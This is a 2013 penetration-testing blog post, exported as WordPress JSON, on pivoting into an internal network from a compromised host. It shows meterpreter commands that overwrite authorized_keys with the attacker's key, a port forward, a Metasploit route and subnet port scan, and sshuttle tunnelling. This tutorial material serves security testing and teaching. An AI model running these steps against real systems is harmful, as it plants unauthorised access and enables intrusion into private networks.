{"id":1131,"date":"2013-10-29T23:52:48","date_gmt":"2013-10-29T23:52:48","guid":{"rendered":"http:\/\/www.phillips321.co.uk\/?p=1131"},"modified":"2013-10-29T23:52:48","modified_gmt":"2013-10-29T23:52:48","slug":"poor-mans-vpn-pivot-at-last","status":"publish","type":"post","link":"https:\/\/www.phillips321.co.uk\/2013\/10\/29\/poor-mans-vpn-pivot-at-last\/","title":{"rendered":"Poor mans VPN Pivot at last!"},"content":{"rendered":"<p>So you&#8217;re broke and you don&#8217;t own <a href=\"http:\/\/www.rapid7.com\/products\/metasploit\/download.jsp\" target=\"_blank\">msfpro<\/a>, <a href=\"http:\/\/www.advancedpentest.com\" target=\"_blank\">cobalt strike<\/a> or any of the other expensive tools that allow vpn pivoting. (FYI: Paying for tools like <a href=\"http:\/\/www.advancedpentest.com\" target=\"_blank\">cobalt strike<\/a> helps <a href=\"https:\/\/twitter.com\/armitagehacker\" target=\"_blank\">Raphael Mudge<\/a> continue to keep developing free tools like <a href=\"http:\/\/www.fastandeasyhacking.com\" target=\"_blank\">Armitage<\/a>)<\/p>\n<p>So now that that&#8217;s out of the way lets explain the scenario.<\/p>\n<p>You&#8217;ve managed to get a meterpreter session on a box via a webshell (possibly a network firewall or something else with an interface on the internal network you&#8217;re trying to own). But you hate having to use meterpreter&#8217;s portfwd and route options. They&#8217;re just too painful.<\/p>\n<p>The whole of this article requires ssh access to the initial pivot point. Don&#8217;t worry if you can&#8217;t see the ssh service from your attacking box, we can bypass that using portfwd.<\/p>\n<p>Here is a rough idea of how this network is set up.<br \/>\n<a href=\"https:\/\/www.phillips321.co.uk\/wp-content\/uploads\/2013\/10\/network.png\"><img loading=\"lazy\" src=\"https:\/\/www.phillips321.co.uk\/wp-content\/uploads\/2013\/10\/network-300x75.png\" alt=\"network\" width=\"300\" height=\"75\" class=\"aligncenter size-medium wp-image-1136\" srcset=\"https:\/\/www.phillips321.co.uk\/wp-content\/uploads\/2013\/10\/network-300x75.png 300w, https:\/\/www.phillips321.co.uk\/wp-content\/uploads\/2013\/10\/network-1024x256.png 1024w, https:\/\/www.phillips321.co.uk\/wp-content\/uploads\/2013\/10\/network.png 1136w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p>The first thing to do is upload your public key to the victim box on 192.168.1.18 via your meterpreter session(you have created one haven&#8217;t you??? ssh-keygen)<\/p>\n<p>FYI copying your key like this will blat out the pre-existing authorised keys, this was just a quick way i could demo it. I&#8217;m also doing this as root user, however this is NOT needed.<\/p>\n<div class=\"codecolorer-container bash vibrant\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/>2<br \/>3<br \/>4<br \/><\/div><\/td><td><div class=\"bash codecolorer\">meterpreter <span class=\"sy0\">&gt;<\/span> upload .ssh<span class=\"sy0\">\/<\/span>id_rsa.pub<br \/>\n<span class=\"br0\">&#91;<\/span><span class=\"sy0\">*<\/span><span class=\"br0\">&#93;<\/span> uploading &nbsp;: .ssh<span class=\"sy0\">\/<\/span>id_rsa.pub -<span class=\"sy0\">&gt;<\/span> .ssh<span class=\"sy0\">\/<\/span>id_rsa.pub<br \/>\n<span class=\"br0\">&#91;<\/span><span class=\"sy0\">*<\/span><span class=\"br0\">&#93;<\/span> uploaded &nbsp; : .ssh<span class=\"sy0\">\/<\/span>id_rsa.pub -<span class=\"sy0\">&gt;<\/span> .ssh<span class=\"sy0\">\/<\/span>id_rsa.pub<br \/>\nmeterpreter <span class=\"sy0\">&gt;<\/span> <span class=\"kw2\">mv<\/span> .ssh<span class=\"sy0\">\/<\/span>id_rsa.pub .ssh<span class=\"sy0\">\/<\/span>authorized_keys<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>Now you have your ssh public key on the box you&#8217;ll need to portfwd ssh on the local box back to<\/p>\n<div class=\"codecolorer-container bash vibrant\" style=\"overflow:auto;white-space:nowrap;width:100%;height:300px;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/>2<br \/>3<br \/>4<br \/>5<br \/>6<br \/>7<br \/>8<br \/>9<br \/>10<br \/>11<br \/>12<br \/>13<br \/>14<br \/>15<br \/>16<br \/>17<br \/>18<br \/>19<br \/>20<br \/>21<br \/><\/div><\/td><td><div class=\"bash codecolorer\">meterpreter <span class=\"sy0\">&gt;<\/span> portfwd add <span class=\"re5\">-l<\/span> <span class=\"nu0\">2222<\/span> <span class=\"re5\">-p<\/span> <span class=\"nu0\">22<\/span> <span class=\"re5\">-r<\/span> 127.0.0.1<br \/>\n<span class=\"br0\">&#91;<\/span><span class=\"sy0\">*<\/span><span class=\"br0\">&#93;<\/span> Local TCP relay created: 0.0.0.0:<span class=\"nu0\">2222<\/span> <span class=\"sy0\">&lt;<\/span>-<span class=\"sy0\">&gt;<\/span> 127.0.0.1:<span class=\"nu0\">22<\/span><br \/>\nmeterpreter <span class=\"sy0\">&gt;<\/span> <span class=\"kw2\">ifconfig<\/span><br \/>\nInterface &nbsp;<span class=\"nu0\">4<\/span><br \/>\n============<br \/>\nName &nbsp; &nbsp; &nbsp; &nbsp; : eth0<br \/>\nHardware MAC : 00:0c:<span class=\"nu0\">29<\/span>:fe:d2:e7<br \/>\nMTU &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;: <span class=\"nu0\">1500<\/span><br \/>\nFlags &nbsp; &nbsp; &nbsp; &nbsp;: UP BROADCAST RUNNING MULTICAST <br \/>\nIPv4 Address : 192.168.1.18<br \/>\nIPv4 Netmask : 255.255.255.0<br \/>\nInterface &nbsp;<span class=\"nu0\">5<\/span><br \/>\n============<br \/>\nName &nbsp; &nbsp; &nbsp; &nbsp; : eth1<br \/>\nHardware MAC : 00:0c:<span class=\"nu0\">29<\/span>:fe:d2:f1<br \/>\nMTU &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;: <span class=\"nu0\">1500<\/span><br \/>\nFlags &nbsp; &nbsp; &nbsp; &nbsp;: UP BROADCAST RUNNING MULTICAST <br \/>\nIPv4 Address : 10.0.0.4<br \/>\nIPv4 Netmask : 255.255.255.0<br \/>\nmeterpreter <span class=\"sy0\">&gt;<\/span> background<br \/>\n<span class=\"br0\">&#91;<\/span><span class=\"sy0\">*<\/span><span class=\"br0\">&#93;<\/span> Backgrounding session <span class=\"nu0\">4<\/span>...<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>Bingo, we know it has a backend network on the range 10.0.0.0\/24. We need to scan the back end network to see what devices there are:<\/p>\n<div class=\"codecolorer-container bash vibrant\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/>2<br \/>3<br \/>4<br \/>5<br \/>6<br \/>7<br \/>8<br \/>9<br \/>10<br \/>11<br \/>12<br \/>13<br \/>14<br \/><\/div><\/td><td><div class=\"bash codecolorer\">msf<span class=\"sy0\">&gt;<\/span> route add 10.0.0.0 255.255.255.0 <span class=\"nu0\">4<\/span><br \/>\n<span class=\"br0\">&#91;<\/span><span class=\"sy0\">*<\/span><span class=\"br0\">&#93;<\/span> Route added<br \/>\nmsf<span class=\"sy0\">&gt;<\/span> route print<br \/>\nActive Routing Table<br \/>\n====================<br \/>\n&nbsp; &nbsp;Subnet &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; Netmask &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Gateway<br \/>\n&nbsp; &nbsp;<span class=\"re5\">------<\/span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class=\"re5\">-------<\/span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;<span class=\"re5\">-------<\/span><br \/>\n&nbsp; &nbsp;10.0.0.0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 255.255.255.0 &nbsp; &nbsp; &nbsp;Session <span class=\"nu0\">4<\/span><br \/>\nmsf<span class=\"sy0\">&gt;<\/span> use auxiliary<span class=\"sy0\">\/<\/span>scanner<span class=\"sy0\">\/<\/span>portscan<span class=\"sy0\">\/<\/span>tcp <br \/>\nmsf auxiliary<span class=\"br0\">&#40;<\/span>tcp<span class=\"br0\">&#41;<\/span> <span class=\"sy0\">&gt;<\/span> <span class=\"kw1\">set<\/span> RHOSTS 10.0.0.1<span class=\"sy0\">\/<\/span><span class=\"nu0\">24<\/span><br \/>\nRHOSTS =<span class=\"sy0\">&gt;<\/span> 10.0.0.1<span class=\"sy0\">\/<\/span><span class=\"nu0\">24<\/span><br \/>\nmsf auxiliary<span class=\"br0\">&#40;<\/span>tcp<span class=\"br0\">&#41;<\/span> <span class=\"sy0\">&gt;<\/span> <span class=\"kw1\">set<\/span> PORTS <span class=\"nu0\">21<\/span>,<span class=\"nu0\">22<\/span>,<span class=\"nu0\">23<\/span>,<span class=\"nu0\">25<\/span>,<span class=\"nu0\">50<\/span>,<span class=\"nu0\">80<\/span>,<span class=\"nu0\">135<\/span>,<span class=\"nu0\">139<\/span>,<span class=\"nu0\">199<\/span>,<span class=\"nu0\">443<\/span>,<span class=\"nu0\">445<\/span>,<span class=\"nu0\">1556<\/span>,<span class=\"nu0\">2301<\/span>,<span class=\"nu0\">2381<\/span>,<span class=\"nu0\">3181<\/span>,<span class=\"nu0\">3389<\/span><br \/>\nPORTS =<span class=\"sy0\">&gt;<\/span> <span class=\"nu0\">21<\/span>,<span class=\"nu0\">22<\/span>,<span class=\"nu0\">23<\/span>,<span class=\"nu0\">25<\/span>,<span class=\"nu0\">50<\/span>,<span class=\"nu0\">80<\/span>,<span class=\"nu0\">135<\/span>,<span class=\"nu0\">139<\/span>,<span class=\"nu0\">199<\/span>,<span class=\"nu0\">443<\/span>,<span class=\"nu0\">445<\/span>,<span class=\"nu0\">1556<\/span>,<span class=\"nu0\">2301<\/span>,<span class=\"nu0\">2381<\/span>,<span class=\"nu0\">3181<\/span>,<span class=\"nu0\">3389<\/span><br \/>\nmsf auxiliary<span class=\"br0\">&#40;<\/span>tcp<span class=\"br0\">&#41;<\/span> <span class=\"sy0\">&gt;<\/span> run<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>So now we have a target on the backend network, in this case it&#8217;s 10.0.0.1.<\/p>\n<p>Now you need to download the main part of this article&#8230;.. <a href=\"https:\/\/github.com\/apenwarr\/sshuttle\" target=\"_blank\">sshuttle<\/a>!<br \/>\nSshuttle is a clever set of python scripts that allows you to route TCP and UDP traffic over a SSH session. You don&#8217;t need to use a root account on your SSH server and you also don&#8217;t need to manually set up each forwarded port like you would with metasploit.<\/p>\n<p>It&#8217;s extremely simple to use and it&#8217;ll allow you to scan backend servers using nmap, nessus and plenty more! Woohoo, poor mans VPNPivot (over SSH) at last!<\/p>\n<div class=\"codecolorer-container bash vibrant\" style=\"overflow:auto;white-space:nowrap;width:100%;height:300px;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/>2<br \/>3<br \/>4<br \/>5<br \/>6<br \/>7<br \/>8<br \/>9<br \/>10<br \/>11<br \/>12<br \/>13<br \/>14<br \/>15<br \/>16<br \/>17<br \/>18<br \/>19<br \/>20<br \/>21<br \/>22<br \/>23<br \/>24<br \/>25<br \/>26<br \/>27<br \/>28<br \/>29<br \/>30<br \/>31<br \/>32<br \/><\/div><\/td><td><div class=\"bash codecolorer\"><span class=\"co4\">root@kali:~# <\/span><span class=\"kw2\">git clone<\/span> git:<span class=\"sy0\">\/\/<\/span>github.com<span class=\"sy0\">\/<\/span>apenwarr<span class=\"sy0\">\/<\/span>sshuttle<br \/>\nCloning into <span class=\"st_h\">'sshuttle'<\/span>...<br \/>\nremote: Counting objects: <span class=\"nu0\">945<\/span>, done.<br \/>\nremote: Compressing objects: <span class=\"nu0\">100<\/span><span class=\"sy0\">%<\/span> <span class=\"br0\">&#40;<\/span><span class=\"nu0\">472<\/span><span class=\"sy0\">\/<\/span><span class=\"nu0\">472<\/span><span class=\"br0\">&#41;<\/span>, done.<br \/>\nremote: Total <span class=\"nu0\">945<\/span> <span class=\"br0\">&#40;<\/span>delta <span class=\"nu0\">496<\/span><span class=\"br0\">&#41;<\/span>, reused <span class=\"nu0\">855<\/span> <span class=\"br0\">&#40;<\/span>delta <span class=\"nu0\">426<\/span><span class=\"br0\">&#41;<\/span><br \/>\nReceiving objects: <span class=\"nu0\">100<\/span><span class=\"sy0\">%<\/span> <span class=\"br0\">&#40;<\/span><span class=\"nu0\">945<\/span><span class=\"sy0\">\/<\/span><span class=\"nu0\">945<\/span><span class=\"br0\">&#41;<\/span>, <span class=\"nu0\">556.89<\/span> KiB <span class=\"sy0\">|<\/span> <span class=\"nu0\">381<\/span> KiB<span class=\"sy0\">\/<\/span>s, done.<br \/>\nResolving deltas: <span class=\"nu0\">100<\/span><span class=\"sy0\">%<\/span> <span class=\"br0\">&#40;<\/span><span class=\"nu0\">496<\/span><span class=\"sy0\">\/<\/span><span class=\"nu0\">496<\/span><span class=\"br0\">&#41;<\/span>, done.<br \/>\n<span class=\"co4\">root@kali:~# <\/span><span class=\"kw3\">cd<\/span> sshuttle<span class=\"sy0\">\/<\/span><br \/>\nroot<span class=\"sy0\">@<\/span>kali:~<span class=\"sy0\">\/<\/span>sshuttle<span class=\"co0\"># .\/do all<\/span><br \/>\nRemoving previously built files...<br \/>\n<span class=\"kw1\">do<\/span> &nbsp;all<br \/>\n<span class=\"kw1\">do<\/span> &nbsp; &nbsp;Documentation<span class=\"sy0\">\/<\/span>all<br \/>\n<span class=\"kw1\">do<\/span> &nbsp; &nbsp; &nbsp;sshuttle.8<br \/>\n<span class=\"kw1\">do<\/span> &nbsp; &nbsp; &nbsp; &nbsp;md-to-man<br \/>\n<span class=\"kw1\">do<\/span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;md2man.py exists.<br \/>\n<span class=\"kw1\">do<\/span> &nbsp; &nbsp; &nbsp; &nbsp;sshuttle.md.tmp<br \/>\n<span class=\"kw1\">do<\/span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;..<span class=\"sy0\">\/<\/span>version<span class=\"sy0\">\/<\/span>vars<br \/>\n<span class=\"kw1\">do<\/span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;gitvars<br \/>\n<span class=\"kw1\">do<\/span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;gitvars.pre exists.<br \/>\n<span class=\"kw1\">do<\/span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;prodname exists.<br \/>\n<span class=\"kw1\">do<\/span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;prodname exists.<br \/>\n<span class=\"kw1\">do<\/span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;sshuttle.md exists.<br \/>\n<span class=\"kw1\">do<\/span> &nbsp; &nbsp;version<span class=\"sy0\">\/<\/span>all<br \/>\n<span class=\"kw1\">do<\/span> &nbsp; &nbsp; &nbsp;vars exists.<br \/>\n<span class=\"kw1\">do<\/span> &nbsp; &nbsp; &nbsp;_version.py<br \/>\n<span class=\"kw1\">do<\/span> &nbsp; &nbsp; &nbsp; &nbsp;vars exists.<br \/>\nWhat now?<br \/>\n- Run sshuttle: .<span class=\"sy0\">\/<\/span>sshuttle <span class=\"re5\">--dns<\/span> <span class=\"re5\">-r<\/span> HOSTNAME <span class=\"nu0\">0<\/span><span class=\"sy0\">\/<\/span><span class=\"nu0\">0<\/span><br \/>\n- Read the README: <span class=\"kw2\">less<\/span> README.md<br \/>\n- Read the <span class=\"kw2\">man<\/span> page: <span class=\"kw2\">less<\/span> Documentation<span class=\"sy0\">\/<\/span>sshuttle.md<br \/>\nRemoving stamp files...<br \/>\nroot<span class=\"sy0\">@<\/span>kali:~<span class=\"sy0\">\/<\/span>sshuttle<span class=\"co0\">#<\/span><\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>So now you&#8217;ve got shuttle installed and working all you need to do is connect to your local port 127.0.0.1:2222 which will then route through the meterpreter session onto the backend network. I think sshuttle only works for TCP and UDP so no arp-scanning or ICMP sweeps, please let me know if you know otherwise.<\/p>\n<p>We need to check the port forward is running locally first:<\/p>\n<div class=\"codecolorer-container bash vibrant\" style=\"overflow:auto;white-space:nowrap;width:100%;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/>2<br \/><\/div><\/td><td><div class=\"bash codecolorer\">root<span class=\"sy0\">@<\/span>kali:~<span class=\"sy0\">\/<\/span>sshuttle<span class=\"co0\"># netstat -antp | grep 2222<\/span><br \/>\ntcp &nbsp; &nbsp; &nbsp; &nbsp;<span class=\"nu0\">0<\/span> &nbsp; &nbsp; &nbsp;<span class=\"nu0\">0<\/span> 0.0.0.0:<span class=\"nu0\">2222<\/span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0.0.0.0:<span class=\"sy0\">*<\/span> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; LISTEN &nbsp; &nbsp; &nbsp;<span class=\"nu0\">9816<\/span><span class=\"sy0\">\/<\/span>ruby<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>Now run shuttle connecting to yourself on 2222:<\/p>\n<div class=\"codecolorer-container bash vibrant\" style=\"overflow:auto;white-space:nowrap;width:100%;height:300px;\"><table cellspacing=\"0\" cellpadding=\"0\"><tbody><tr><td class=\"line-numbers\"><div>1<br \/>2<br \/>3<br \/>4<br \/>5<br \/>6<br \/>7<br \/>8<br \/>9<br \/>10<br \/>11<br \/>12<br \/>13<br \/>14<br \/>15<br \/>16<br \/>17<br \/>18<br \/>19<br \/>20<br \/>21<br \/>22<br \/><\/div><\/td><td><div class=\"bash codecolorer\">root<span class=\"sy0\">@<\/span>kali:~<span class=\"sy0\">\/<\/span>sshuttle<span class=\"co0\"># .\/sshuttle -vr 127.0.0.1:2222 10.0.0.0\/24<\/span><br \/>\nStarting sshuttle proxy.<br \/>\nListening on <span class=\"br0\">&#40;<\/span><span class=\"st_h\">'127.0.0.1'<\/span>, <span class=\"nu0\">12300<\/span><span class=\"br0\">&#41;<\/span>.<br \/>\nfirewall manager ready.<br \/>\nc : connecting to server...<br \/>\n&nbsp;s: latency control setting = True<br \/>\n&nbsp;s: available routes:<br \/>\n&nbsp;s: &nbsp; 10.0.0.0<span class=\"sy0\">\/<\/span><span class=\"nu0\">24<\/span><br \/>\n&nbsp;s: &nbsp; 192.168.1.0<span class=\"sy0\">\/<\/span><span class=\"nu0\">24<\/span><br \/>\nc : connected.<br \/>\nConnected.<br \/>\nfirewall manager: starting transproxy.<br \/>\n<span class=\"sy0\">&gt;&gt;<\/span> iptables <span class=\"re5\">-t<\/span> nat <span class=\"re5\">-N<\/span> sshuttle-<span class=\"nu0\">12300<\/span><br \/>\n<span class=\"sy0\">&gt;&gt;<\/span> iptables <span class=\"re5\">-t<\/span> nat <span class=\"re5\">-F<\/span> sshuttle-<span class=\"nu0\">12300<\/span><br \/>\n<span class=\"sy0\">&gt;&gt;<\/span> iptables <span class=\"re5\">-t<\/span> nat <span class=\"re5\">-I<\/span> OUTPUT <span class=\"nu0\">1<\/span> <span class=\"re5\">-j<\/span> sshuttle-<span class=\"nu0\">12300<\/span><br \/>\n<span class=\"sy0\">&gt;&gt;<\/span> iptables <span class=\"re5\">-t<\/span> nat <span class=\"re5\">-I<\/span> PREROUTING <span class=\"nu0\">1<\/span> <span class=\"re5\">-j<\/span> sshuttle-<span class=\"nu0\">12300<\/span><br \/>\n<span class=\"sy0\">&gt;&gt;<\/span> iptables <span class=\"re5\">-t<\/span> nat <span class=\"re5\">-A<\/span> sshuttle-<span class=\"nu0\">12300<\/span> <span class=\"re5\">-j<\/span> REDIRECT <span class=\"re5\">--dest<\/span> 10.0.0.0<span class=\"sy0\">\/<\/span><span class=\"nu0\">24<\/span> <span class=\"re5\">-p<\/span> tcp <span class=\"re5\">--to-ports<\/span> <span class=\"nu0\">12300<\/span> <span class=\"re5\">-m<\/span> ttl <span class=\"sy0\">!<\/span> <span class=\"re5\">--ttl<\/span> <span class=\"nu0\">42<\/span><br \/>\n<span class=\"sy0\">&gt;&gt;<\/span> iptables <span class=\"re5\">-t<\/span> nat <span class=\"re5\">-A<\/span> sshuttle-<span class=\"nu0\">12300<\/span> <span class=\"re5\">-j<\/span> RETURN <span class=\"re5\">--dest<\/span> 127.0.0.0<span class=\"sy0\">\/<\/span><span class=\"nu0\">8<\/span> <span class=\"re5\">-p<\/span> tcp<br \/>\nc : Accept: 192.168.1.14:<span class=\"nu0\">51483<\/span> -<span class=\"sy0\">&gt;<\/span> 10.0.0.1:<span class=\"nu0\">80<\/span>.<br \/>\nc : Accept: 192.168.1.14:<span class=\"nu0\">52351<\/span> -<span class=\"sy0\">&gt;<\/span> 10.0.0.4:<span class=\"nu0\">80<\/span>.<br \/>\nc : Accept: 192.168.1.14:<span class=\"nu0\">52352<\/span> -<span class=\"sy0\">&gt;<\/span> 10.0.0.4:<span class=\"nu0\">80<\/span>.<br \/>\nc : Accept: 192.168.1.14:<span class=\"nu0\">52353<\/span> -<span class=\"sy0\">&gt;<\/span> 10.0.0.4:<span class=\"nu0\">80<\/span>.<\/div><\/td><\/tr><\/tbody><\/table><\/div>\n<p>Boom, you should now be able to root to devices on the internal network:<br \/>\n<a href=\"https:\/\/www.phillips321.co.uk\/wp-content\/uploads\/2013\/10\/Screen-Shot-2013-10-29-at-22.57.47.png\"><img loading=\"lazy\" src=\"https:\/\/www.phillips321.co.uk\/wp-content\/uploads\/2013\/10\/Screen-Shot-2013-10-29-at-22.57.47-150x150.png\" alt=\"Screen Shot 2013-10-29 at 22.57.47\" width=\"150\" height=\"150\" class=\"aligncenter size-thumbnail wp-image-1133\" \/><\/a><a href=\"https:\/\/www.phillips321.co.uk\/wp-content\/uploads\/2013\/10\/Screen-Shot-2013-10-29-at-22.58.00.png\"><img loading=\"lazy\" src=\"https:\/\/www.phillips321.co.uk\/wp-content\/uploads\/2013\/10\/Screen-Shot-2013-10-29-at-22.58.00-150x150.png\" alt=\"Screen Shot 2013-10-29 at 22.58.00\" width=\"150\" height=\"150\" class=\"aligncenter size-thumbnail wp-image-1134\" \/><\/a><\/p>\n<p>To exit shuttle just simply press Ctrl-C<\/p>\n<p>Any advice please just comment. Does anyone know a quicker way to upload my public ssh key via meterpreter without wiping the authorized_keys?<\/p>\n<p>Final note: this example routed the entire SSH session over a meterpreter portfwd, this would work much much faster if you had direct access to the SSH service that you wanted to pivot through.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>So you&#8217;re broke and you don&#8217;t own msfpro, cobalt strike or any of the other expensive tools that allow vpn pivoting. (FYI: Paying for tools like cobalt strike helps Raphael Mudge continue to keep developing free tools like Armitage) So now that that&#8217;s out of the way lets explain the scenario. You&#8217;ve managed to get [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":1138,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[1],"tags":[47,62,72,9,18,403,404],"_links":{"self":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts\/1131"}],"collection":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/comments?post=1131"}],"version-history":[{"count":4,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts\/1131\/revisions"}],"predecessor-version":[{"id":1139,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/posts\/1131\/revisions\/1139"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/media\/1138"}],"wp:attachment":[{"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/media?parent=1131"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/categories?post=1131"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.phillips321.co.uk\/wp-json\/wp\/v2\/tags?post=1131"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}